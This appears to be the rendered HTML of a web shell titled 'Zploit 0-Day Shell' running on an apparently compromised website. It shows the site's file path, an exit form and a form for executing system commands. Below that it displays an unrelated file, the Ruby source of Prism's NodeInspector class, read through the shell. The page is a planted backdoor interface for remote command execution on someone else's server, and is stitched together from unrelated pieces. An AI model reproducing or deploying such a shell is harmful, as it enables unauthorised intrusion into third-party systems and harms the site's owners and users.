<!DOCTYPE html>
<html>
<head>
    <title>Zploit 0-Day Shell</title>
    <style>
        body{background:#000;color:#0f0;font-family:'Consolas',monospace;margin:0;padding:0;}
        a{color:#08f;text-decoration:none;}
        a:hover{color:#f0f;}
        .container{padding:10px;}
        .header{background:#111;padding:5px 10px;border-bottom:1px solid #0f0;}
        .cmd_form input[type="text"]{background:#333;color:#0f0;border:1px solid #0f0;width:400px;padding:3px;}
        .file_table{width:100%;border-collapse:collapse;}
        .file_table th, .file_table td{border:1px solid #222;padding:5px;text-align:left;font-size:12px;}
        .file_table th{background:#0a0;color:#000;}
        .dir_entry{background:#001;}
        .file_entry:hover, .dir_entry:hover{background:#003;}
        .msg{background:#300;color:#f88;padding:5px;margin-bottom:10px;border:1px solid #f00;}
        .edit_area{width:99%;height:400px;background:#111;color:#0f0;border:1px solid #0f0;}
        .action_form input[type="submit"]{background:#333;color:#0f0;border:1px solid #0f0;padding:2px 5px;}
    </style>
</head>
<body>

<div class="header">
    :: **Zploit** v1.0 | Current Path: **/home/iictguj2/iictindia.in/public/assets/**
    <form method="POST" action="?d=L2hvbWUvaWljdGd1ajIvaWljdGluZGlhLmluL3B1YmxpYy9hc3NldHMv" style="display:inline;float:right;">
        <input type="hidden" name="action" value="logout">
        <input type="submit" value="Exit">
    </form>
</div>

<div class="container">



<form method="POST" class="cmd_form">
    <input type="text" name="cmd" placeholder="Execute System Command..." autocomplete="off">
    <input type="submit" value="EXEC">
</form>

<hr style="border-color:#0f0;">

# frozen_string_literal: true

module Prism
  # This object is responsible for generating the output for the inspect method
  # implementations of child nodes.
  class NodeInspector # :nodoc:
    attr_reader :prefix, :output

    def initialize(prefix = "")
      @prefix = prefix
      @output = +""
    end

    # Appends a line to the output with the current prefix.
    def <<(line)
      output << "#{prefix}#{line}"
    end

    # This generates a string that is used as the header of the inspect output
    # for any given node.
    def header(node)
      output = +"@ #{node.class.name.split("::").last} ("
      output << "location: (#{node.location.start_line},#{node.location.start_column})-(#{node.location.end_line},#{node.location.end_column})"
      output << ", newline: true" if node.newline?
      output << ")\n"
      output
    end

    # Generates a string that represents a list of nodes. It handles properly
    # using the box drawing characters to make the output look nice.
    def list(prefix, nodes)
      output = +"(length: #{nodes.length})\n"
      last_index = nodes.length - 1

      nodes.each_with_index do |node, index|
        pointer, preadd = (index == last_index) ? ["└── ", "    "] : ["├── ", "│   "]
        node_prefix = "#{prefix}#{preadd}"
        output << node.inspect(NodeInspector.new(node_prefix)).sub(node_prefix, "#{prefix}#{pointer}")
      end

      output
    end

    # Generates a string that represents a location field on a node.
    def location(value)
      if value
        "(#{value.start_line},#{value.start_column})-(#{value.end_line},#{value.end_column}) = #{value.slice.inspect}"
      else
        "∅"
      end
    end

    # Generates a string that represents a child node.
    def child_node(node, append)
      node.inspect(child_inspector(append)).delete_prefix(prefix)
    end

    # Returns a new inspector that can be used to inspect a child node.
    def child_inspector(append)
      NodeInspector.new("#{prefix}#{append}")
    end

    # Returns the output as a string.
    def to_str
      output
    end
  end
end
